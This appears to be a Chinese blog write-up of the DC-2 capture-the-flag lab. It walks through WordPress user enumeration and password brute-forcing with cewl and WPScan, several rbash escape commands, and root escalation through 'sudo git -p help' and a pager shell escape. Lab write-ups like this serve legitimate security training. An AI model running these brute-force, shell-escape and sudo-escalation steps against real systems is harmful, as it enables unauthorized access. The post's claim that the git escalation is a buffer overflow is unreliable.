zoukankan      html  css  js  c++  java
  • 靶机DC-2 rbash绕过+git提权

    这个靶机和DC-1一样,一共5个flag。全部拿到通关。

    root@kali:/home/kali# nmap -sP 192.168.1.*
    

    先扫一下靶机的IP地址,拿到靶机的地址为192.168.1.3。
    再详细的对靶机进行扫描,尽可能多的获取靶机的信息。信息收集对于渗透测试非常重要,能否挖到漏洞往往取决于目标信息是否尽可能多的被收集。

    root@kali:/home/kali# nmap -sS -Pn -A -p- -n 192.168.1.9
    //-n/-R: -n表示不对目标最DNS解析,-R表示进行DNS解析,缺省为必要时候进行DNS解析
    //-Pn:跳过主机发现,视所有主机都在线
    //-A:使用系统探测、版本检测、脚本扫描、路由追踪
    

    这里被坑了一下,在拿到端口的时候却无法访问,看WP才知道是域名解析的问题,在访问IP地址时会自动跳转到http://dc-2,其实在扫描的时候就有说到dc-2没有被写入,奈何太simple,忽略了。

    将192.168.1.9 dc-2写入到hosts文件中,windows下的hosts文件的路径是

    c:windowssystem32driversetchosts
    

    从我们扫描的结果来看这个站用的是WordPress,这是一个PHP语言和MySQL开发的博客平台。暴出过不少的漏洞。我们可以利用他的一些漏洞来getshell。
    在成功访问目标的80端口的时候我们也拿到了第一个flag。意思大概就是使用一般的字典可能不管用,可能需要用到cewl,字典包含的密码多总是好的,但是不可能包含所有的,登录可以看到下一个flag。

    cewl是一个字典生成工具。详情参考 https://www.freebuf.com/articles/network/190128.html
    从第一个flag给的提示来看,应该是用cewl生成这个网站的字典然后登陆。

    root@kali:/home/kali# cewl -w dc-2-password http://dc-2/
    root@kali:/home/kali# cat dc-2-password 
    


    生成了字典,但是网站并没有直接给后台的入口,那么我们可以扫这个网站的目录。
    这里用到WpSan这款工具,WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞,
    详情参考 https://www.freebuf.com/sectool/174663.html

    root@kali:/home/kali# wpscan --url http://dc-2 --enumerate u
    //–enumerate选项来扫描并发现关于目标站点主题、插件和用户名信息
    


    获取到的信息:网站的几个目录,WordPress的版本,WordPress采用的主题,三个用户admin,jerry,tom。那么我们可以将拿到的三个用户写入字典当成用户名爆破

    root@kali:/home/kali# touch dc-2-username
    root@kali:/home/kali# vim dc-2-username   //将三个用户名写进去
    root@kali:/home/kali# cat dc-2-username 
    admin
    jerry
    tom
    

    然后爆破

    root@kali:/home/kali# wpscan --url http://dc-2 -U dc-2-username -P dc-2-password 
    

    拿到jerry和tom的用户密码:adipiscing和parturient

    但是我们并没有拿到网站的后台路径,常规思路扫后台。这里用dirb工具

    root@kali:/home/kali# dirb http://dc-2
    

    拿到后台的路径

    用得到的两个用户名和密码登录。在jerry的账号里面拿到第二个flag,第二的flag的意思是如果你无法找到利用WordPress的捷径,还有另外一种方法,希望你能找到另一种方法。

    做到这好像思路就断了,flag2没给什么有用的提示呀。在nmao扫描的时候还有一个点没用上,开放了7744端口ssh。我们用ssh连接DC-2主机试下。jerry账号连接显示权限限制,tom账号可以连接上。

    root@kali:/home/kali# ssh tom@192.168.1.9 -p 7744
    


    查看当前目录下的文件,拿到flag3.txt,单纯的我一开始以为这个就是flag3的内容,再看一眼这好像是报错信息吧。不懂就谷歌,rbash就是受限制的bash,一般管理员会限制很多命令,显然这里cat命令无法使用。

    那查看可用的命令有哪些。

    可以使用的命令有less、ls、scp、vi。这里涉及到了rbash逃逸(啥呀,待会去瞅瞅)
    使用less绕过:$less test 然后!'sh'
    使用ls绕过:$man ls 然后!'sh'
    使用vi绕过:$vi test 然后:!/bin/sh 或者 :!/bin/bash
    还可以用 BASH_CMDS[a]=/bin/sh;a 直接绕过

    tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a	//切换shell
    $ export PATH=$PATH:/bin/	//添加$PATH,cat和su都在/bin下
    $ export PATH=$PATH:/usr/bin	//sudo在/usr/bin下
    $ cat flag3.txt
    

    拿到flag3的内容。意思是可怜的Tom总是在追逐jerry,为jerry给他造成的压力他需要切换用户。

    这里切换成jerry用户拿到flag4。

    $ su jerry  //切换用户
    Password: 
    

    切换到jerry的用户目录拿到flag4。意思到了最后一步我们需要拿到最后的Flag。最后一句提示要用到git。

    这里用git提权,原理是git存在缓冲区溢出漏洞,在使用sudo git -p help时,不需要输入root密码即可以root权限执行这条命令。

    jerry@DC-2:~$ sudo git -p help
    


    进入到root目录下,拿到最后的flag。

    总结这个靶机涉及到的点:

    1、linux下的hosts文件路径

    /etc/hosts
    

    2、cewl工具
    CeWL是一款以爬虫模式在指定URL上收集单词的工具,可以将它收集到的单词纳入密码字典,以提高密码破解工具的成功率。

    cewl http://www.ignitetechnologies.in/  //默认方法
    cewl http://www.ignitetechnologies.in/ -w dict.txt   //-w
    cewl http://www.ignitetechnologies.in/ -m 9  //生成长度至少为9的密码  -m
    cewl http://www.ignitetechnologies.in/ -n -e  //从网站中获取Email   -e
    cewl http://www.ignitetechnologies.in/ -c  //计算网站字典中重复的单词数量  -c
    cewl http://www.ignitetechnologies.in/ -d 3  //增加爬虫的爬取深度以生成更大的字典文件  -d
    cewl http://www.ignitetechnologies.in/ --debug     //提取调试信息   -debug
    

    3、WPScan工具
    转载两篇大佬的文章,写得挺详细的
    https://www.freebuf.com/sectool/88653.html 如何使用WPScan辅助渗透WordPress网站
    https://xz.aliyun.com/t/2794#toc-0 WPScan使用完整教程之记一次对WordPress的渗透过程
    4、linux的环境变量
    PATH变量:设定解释器搜索所执行的的命令的路径。
    export命令可以吧一般变量转换成全局变量
    5、rbash逃逸
    https://xz.aliyun.com/t/7642 rbash逃逸大全
    6、git提权

    sudo git help config
    	!/bin/bash或者!'sh'完成提权
    sudo git  -p help
    	!/bin/bash
    
  • 相关阅读:
    程序员的出路在哪里
    基于.NET平台常用的框架整理
    Asp.Net MVC WebApi2 自动生成帮助文档
    Jquery操作select选项集合,判断集合中是否存在option
    C#三种判断数据库中取出的字段值是否为空(NULL) 的方法
    未能加载文件或程序集“XX.XXX.Web”或它的某一个依赖项。试图加载格式不正确的程序
    网页设计制作面试题(1)
    HTML5 Canvas 画纸飞机组件
    HTML5 Canvas 画虚线组件
    C# 根据域名获取IP地址
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/12803808.html
Copyright © 2011-2022 走看看